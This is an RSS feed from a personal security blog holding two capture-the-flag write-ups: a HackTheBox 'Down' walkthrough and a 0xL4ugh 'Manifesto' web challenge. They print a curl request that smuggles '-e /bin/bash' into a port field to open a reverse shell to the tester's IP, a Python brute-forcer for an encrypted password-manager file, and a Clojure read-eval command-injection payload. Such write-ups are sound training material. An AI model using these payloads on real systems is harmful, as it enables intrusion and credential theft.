<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Yensyd Francisco | Security Skid]]></title><description><![CDATA[Just another security skid, trying to do interesting stuff.]]></description><link>https://kohicha.dev</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1735123417980/6c919d02-cc30-4552-b0fd-cb3f93f4779b.png</url><title>Yensyd Francisco | Security Skid</title><link>https://kohicha.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 17 Apr 2026 02:24:53 GMT</lastBuildDate><atom:link href="https://kohicha.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[DOWN - HackTheBox]]></title><description><![CDATA[Down is a retired easy Linux machine that involves exploiting a web service vulnerable to Server-Side Request Forgery (SSRF) due to weak input sanitization and improper URL validation. By leveraging this flaw, we retrieve the source code of the web a...]]></description><link>https://kohicha.dev/down-hackthebox</link><guid isPermaLink="true">https://kohicha.dev/down-hackthebox</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[ethicalhacking]]></category><dc:creator><![CDATA[kohicha]]></dc:creator><pubDate>Thu, 03 Jul 2025 16:17:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751550333148/27b9a33d-ff2a-4c8f-976d-6937c7172573.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Down is a retired easy Linux machine that involves exploiting a web service vulnerable to Server-Side Request Forgery (SSRF) due to weak input sanitization and improper URL validation. By leveraging this flaw, we retrieve the source code of the web application, which reveals an interesting parameter that we use to gain a shell as the <code>www-data</code> user.</p>
<p>Upon initial access, we perform local enumeration and discover a <code>pswm</code> file in a user's home directory. The file appears to contain encrypted credentials protected by a weak encryption scheme. We develop a script to brute-force the master password and successfully decrypt the file, obtaining user credentials.</p>
<p>Using these credentials, we escalate to a user account with unrestricted <code>sudo</code> privileges, ultimately gaining full root access to the system.</p>
<h1 id="heading-reconnaissance">Reconnaissance</h1>
<p>We start with a port scan against the target.</p>
<pre><code class="lang-bash">PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9eTcP2DDxJHJ2uCdOmMRIPaoOhvMFXL33f1pZTIe0VTdeHRNYlpm2a2PumsO5t88M7QF3L3d6n1eRHTTAskGw=
|   256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJwLt0rmihlvq9pk6BmFhjTycNR54yApKIrnwI8xzYx/
80/tcp open  http    syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Is it down or just me?
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre>
<p>There’s no other ports open, so let’s visit the site.</p>
<h1 id="heading-web-application">Web Application</h1>
<p>We are greeted with a feature that checks if a site is down or not.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751553131821/9614e2c9-d689-496b-8064-7951c386f544.png" alt class="image--center mx-auto" /></p>
<p>I started a python server and passed my tun0 ip as the url in the input.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751553387355/14138c81-cccf-479c-96fb-99217bfadf63.png" alt class="image--center mx-auto" /></p>
<p>I’ve tried different ssrf injection techniques like command injection or accessing the file system, but we had no luck, since the only allowed protocols are <code>HTTP</code> and <code>HTTPS</code>. I then set up an <code>nc</code> listener to see if we can get extra information about the service.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751554084103/63fb89e0-cfa7-4b6d-bde4-582004dd004d.png" alt class="image--center mx-auto" /></p>
<p>We can see that the webserver is using <code>curl</code> , which is a unix command-line utility. In curl, we can supply two urls, and it would send a request to both of the urls.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751554887394/ca47b273-251c-48d9-ac16-cbf1e52042a5.png" alt class="image--center mx-auto" /></p>
<p>We have a user named <code>aleks</code>, but we couldn’t find any hard-coded credentials. So instead, we’ll look at the source code of the application in <code>/var/www/html/index.php</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751555096897/e1673f8b-cbe3-41e9-b79a-c4d0dae815a1.png" alt class="image--center mx-auto" /></p>
<p>In the source code, we find an interesting code block that leads us to another feature, by passing “<em>tcp</em>“ to the <code>expertmode</code> parameter.</p>
<pre><code class="lang-php">
<span class="hljs-keyword">if</span> ( <span class="hljs-keyword">isset</span>($_GET[<span class="hljs-string">'expertmode'</span>]) &amp;&amp; $_GET[<span class="hljs-string">'expertmode'</span>] === <span class="hljs-string">'tcp'</span> &amp;&amp; <span class="hljs-keyword">isset</span>($_POST[<span class="hljs-string">'ip'</span>]) &amp;&amp; <span class="hljs-keyword">isset</span>($_POST[<span class="hljs-string">'port'</span>]) ) {
  $ip = trim($_POST[<span class="hljs-string">'ip'</span>]);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST[<span class="hljs-string">'port'</span>]);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
&lt;SNIP&gt;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751555651781/bbc8926a-0c9e-435a-8bb7-cd8bbd0ee8b8.png" alt class="image--center mx-auto" /></p>
<p>In the source code, the code passes <code>/usr/bin/nc</code> through the function <code>escapeshellcmd()</code>, which calls the binary to the command line, we can exploit this feature and get a shell.</p>
<h1 id="heading-shell-as-www-data">Shell as www-data</h1>
<p>We set up an nc listener, and get a shell by adding <code>-e /bin/bash</code> to the enter a port number. We’ll use curl to call the function in the webapp. <code>curl -X POST '</code><a target="_blank" href="http://10.129.234.87/index.php?expertmode=tcp"><code>http://10.129.234.87/index.php?expertmode=tcp</code></a><code>' -d "ip=10.10.14.41&amp;port=8000 -e /bin/bash"</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751557666738/d2da7348-8506-4996-9894-f504d10a9318.png" alt class="image--center mx-auto" /></p>
<p>Let’s upgrade our shell and we can see that user.txt is in the current path we are in.</p>
<h1 id="heading-privilege-escalation">Privilege Escalation</h1>
<p>Now, let’s explore the system. Earlier, we found a user <code>aleks</code> so let’s explore his directory. We can see that he has a file called pswm.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751558072822/0536bcf8-afbd-492d-8846-afcfc9d126d1.png" alt class="image--center mx-auto" /></p>
<p>We look up what pswm is, and we come across a <a target="_blank" href="https://github.com/Julynx/pswm">Github repository</a> which leads us to a project called PSWM. There’s not much description about it, so let’s clone the repository and explore.</p>
<blockquote>
<p><em>A simple command line password manager written in Python.</em></p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751558327362/93a665bd-ba6e-4d2f-b401-5a89ea8c04f1.png" alt class="image--center mx-auto" /></p>
<p>We install the required modules, using uv, and run the pswm binary. We are prompted to create a password, and we can see that it is stored in <code>~/.local/share/pswm/pswm</code>, similarly in the linux machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751558522815/b78f18ff-1ed4-4554-b30f-a3c8b81d065a.png" alt class="image--center mx-auto" /></p>
<p>Upon inspecting the source code, we can see that there is an option to decrypt the password, by first passing the master password to the function.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751558594397/ed8e2953-5149-4d71-a475-fa75bf14cda8.png" alt class="image--center mx-auto" /></p>
<p>We can create a quick python script poc to bruteforce the master_password, in order for us to decrypt the pswm file. We just need to pass the pwsm file we found earlier and a wordlist that we can use to bruteforce the master_password.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> cryptocode
<span class="hljs-keyword">import</span> sys

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">usage</span>():</span>
    print(<span class="hljs-string">f"Usage: <span class="hljs-subst">{sys.argv[<span class="hljs-number">0</span>]}</span> &lt;pwsm file&gt; &lt;wordlist&gt;"</span>)
    sys.exit(<span class="hljs-number">1</span>)

<span class="hljs-keyword">if</span> len(sys.argv) != <span class="hljs-number">3</span>:
    usage()

<span class="hljs-keyword">try</span>:
    <span class="hljs-keyword">with</span> open(sys.argv[<span class="hljs-number">1</span>], <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> f:
        encrypted = f.read().strip()

    <span class="hljs-keyword">with</span> open(sys.argv[<span class="hljs-number">2</span>], <span class="hljs-string">'r'</span>, errors=<span class="hljs-string">'ignore'</span>) <span class="hljs-keyword">as</span> f:
        <span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> f:
            password = line.strip()
            <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> password:
                <span class="hljs-keyword">continue</span>
            decrypted = cryptocode.decrypt(encrypted, password)
            <span class="hljs-keyword">if</span> decrypted:
                print(<span class="hljs-string">f"[+] Found password: <span class="hljs-subst">{password}</span>"</span>)
                print(decrypted)
                <span class="hljs-keyword">break</span>
        <span class="hljs-keyword">else</span>:
            print(<span class="hljs-string">"[-] No valid password found."</span>)
<span class="hljs-keyword">except</span> FileNotFoundError <span class="hljs-keyword">as</span> e:
    print(<span class="hljs-string">f"File error: <span class="hljs-subst">{e}</span>"</span>)
    sys.exit(<span class="hljs-number">1</span>)
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751558968391/8ccd0122-75f8-4808-9130-59ddd8efbb75.png" alt class="image--center mx-auto" /></p>
<p>Let’s login as aleks.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751559124540/8d95cc6e-d99b-4bff-abb6-d2745c0ee377.png" alt class="image--center mx-auto" /></p>
<p>Apparently, he has too much privileges. Let’s add our own ssh keys to the root user, and finally get our flag!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751559764626/7e8b5a3e-5d45-4468-b06f-249308c846be.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751560441484/d2e8d567-ee08-4d92-a3c0-23bd628194a5.png" alt class="image--center mx-auto" /></p>
<p>That’s pretty much it! This is my first box after purchasing VIP+ with my credit, I hope you learned something new!</p>
]]></content:encoded></item><item><title><![CDATA[0xL4ugh CTF - Manifesto]]></title><description><![CDATA[As the year is about to end, me and my team decided to join 0xl4ugh as our final CTF event of the year. We’ll be tackling Manifesto for this writeup.
Manifesto

This is an easy challenge, except... it's written in Clojure. Can you find your way throu...]]></description><link>https://kohicha.dev/0xl4ugh-ctf-manifesto</link><guid isPermaLink="true">https://kohicha.dev/0xl4ugh-ctf-manifesto</guid><category><![CDATA[CTF]]></category><dc:creator><![CDATA[kohicha]]></dc:creator><pubDate>Sun, 29 Dec 2024 11:00:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735469937171/c415da4b-b791-419d-bf34-905e4ad2e4a8.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>As the year is about to end, me and my team decided to join 0xl4ugh as our final CTF event of the year. We’ll be tackling Manifesto for this writeup.</p>
<h2 id="heading-manifesto">Manifesto</h2>
<blockquote>
<p>This is an easy challenge, except... it's written in Clojure. Can you find your way through all of these parentheses and come out victorious? - @aelmo</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735456416160/f1e1e14b-4864-458d-8e30-f4695ec33542.png" alt class="image--center mx-auto" /></p>
<p>After downloading the challenge files, the Dockerfile contained the flag, which indicates that we have to access a shell to perform command execution and access the environment variable.</p>
<pre><code class="lang-dockerfile"><span class="hljs-keyword">ENV</span> CLOJURE_PORT <span class="hljs-number">80</span>
<span class="hljs-keyword">ENV</span> FLAG <span class="hljs-string">'0xL4ugh{this_is_a_fake_flag}'</span>

<span class="hljs-keyword">EXPOSE</span> <span class="hljs-number">80</span>

<span class="hljs-keyword">ENTRYPOINT</span><span class="bash"> [<span class="hljs-string">"lein"</span>, <span class="hljs-string">"run"</span>]</span>
</code></pre>
<p>The server is written in <a target="_blank" href="https://clojure.org/">Clojure</a>, which is a dynamic, general-purpose programming language, combining the approachability and interactive development of a scripting language with an efficient and robust infrastructure for multi-threaded programming.</p>
<hr />
<h2 id="heading-bypassing-authentication">Bypassing authentication</h2>
<p>After exploring a bit, we found that we could only access <code>/gist</code> if we were logged in as admin. So first, we had to find a way to bypass the authentication and set our session as the admin. We ran the application in Burp, and after making some changes, we observed that it creates a request to change the preferred theme with an additional parameter.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735458521924/7b8f6f62-0378-464e-b808-2460fe074ec7.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-clojure">(<span class="hljs-name">re-matches</span> #<span class="hljs-string">"/"</span> uri)
     (<span class="hljs-name"><span class="hljs-builtin-name">-&gt;</span></span> (<span class="hljs-name">r/response</span>
          (<span class="hljs-name">render-file</span> <span class="hljs-string">"index.html"</span>
                       {<span class="hljs-symbol">:prefer</span> (<span class="hljs-name"><span class="hljs-builtin-name">or</span></span> (<span class="hljs-name">query-params</span> <span class="hljs-string">"prefer"</span>) (<span class="hljs-name">session</span> <span class="hljs-string">"prefer"</span>) <span class="hljs-string">"light"</span>)
                        <span class="hljs-symbol">:username</span> (<span class="hljs-name">session</span> <span class="hljs-string">"username"</span>)
                        <span class="hljs-symbol">:url</span> uri}))
         (<span class="hljs-name"><span class="hljs-builtin-name">assoc</span></span> <span class="hljs-symbol">:session</span> (<span class="hljs-name"><span class="hljs-builtin-name">merge</span></span> {<span class="hljs-string">"prefer"</span> <span class="hljs-string">"light"</span>} session query-params)))
</code></pre>
<p>The code above checks two parameters: <code>prefer</code> and <code>username</code>. Using this, we were able to bypass the authentication by passing the parameters as such: <code>/?prefer=dark&amp;username=admin</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735459353614/e9325220-644d-436d-9a73-e7908d516684.png" alt class="image--center mx-auto" /></p>
<p>We were now logged in as admin. While we could use other usernames to log in, we wouldn’t be able to access the <code>/gist</code> endpoint.</p>
<h2 id="heading-command-injection">Command Injection</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735460768871/c77c1033-65aa-4780-a824-a993607699e2.png" alt class="image--center mx-auto" /></p>
<p>In the gist page, we are able to post a gist, and it will display the gist as seen in the picture. After inspecting the code, we are able to see the vulnerable function, which reads the input without prior sanitization.</p>
<pre><code class="lang-clojure"> (<span class="hljs-name"><span class="hljs-builtin-name">=</span></span> request-method <span class="hljs-symbol">:post</span>)
           (<span class="hljs-name"><span class="hljs-builtin-name">let</span></span> [{<span class="hljs-symbol">:strs</span> [gist]} form-params]
             <span class="hljs-comment">;; clojure has excellent error handling capabilities</span>
             (<span class="hljs-name"><span class="hljs-builtin-name">try</span></span>
               (<span class="hljs-name">insert-gist</span> (<span class="hljs-name">session</span> <span class="hljs-string">"username"</span>) (<span class="hljs-name">read-string</span> gist))
               (<span class="hljs-name">r/redirect</span> <span class="hljs-string">"/gists"</span>)
               (<span class="hljs-name">catch</span> Exception _ (<span class="hljs-name">json-response</span> {<span class="hljs-symbol">:error</span> <span class="hljs-string">"Something went wrong..."</span>}))))

           <span class="hljs-symbol">:else</span>
           (<span class="hljs-name">json-response</span> {<span class="hljs-symbol">:error</span> <span class="hljs-string">"Something went wrong..."</span>}))
</code></pre>
<blockquote>
<p>Here’s the snippet with the vulnerable input.</p>
</blockquote>
<p>Clojure has a neat documentation, where we can find the <a target="_blank" href="https://clojuredocs.org/clojure.java.shell/sh">clojure.java.shell</a> namespace, which we could use to craft our payload.</p>
<blockquote>
<p>In Clojure, there are different reader forms. In our case, we used a Macro Character <code>#</code>, which is essentially a shortcut for <code>eval</code>. We paired it with an equal sign <code>=</code>, allowing it to evaluate immediately during the read phase.</p>
</blockquote>
<p>Our eval payload looked like this: <code>#=()</code>.</p>
<p>The payload were as follows:</p>
<pre><code class="lang-clojure">#=(<span class="hljs-name">require</span> clojure.java.shell)
#=(<span class="hljs-name">clojure.java.shell/sh+</span><span class="hljs-string">"printenv"</span>)
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735469488044/722b35e5-c769-4f33-866e-edeab9e2e673.png" alt class="image--center mx-auto" /></p>
<p>We finally got the flag!</p>
<h2 id="heading-final-thoughts">Final thoughts</h2>
<hr />
<p>This web challenge was really interesting overall, a few head scratches and frustration from reading this godforsaken syntax, but we always learn something new.</p>
<p>Special thanks to my team D0MBUSTERS, I’ve learned a lot from them just from this year alone.</p>
]]></content:encoded></item></channel></rss>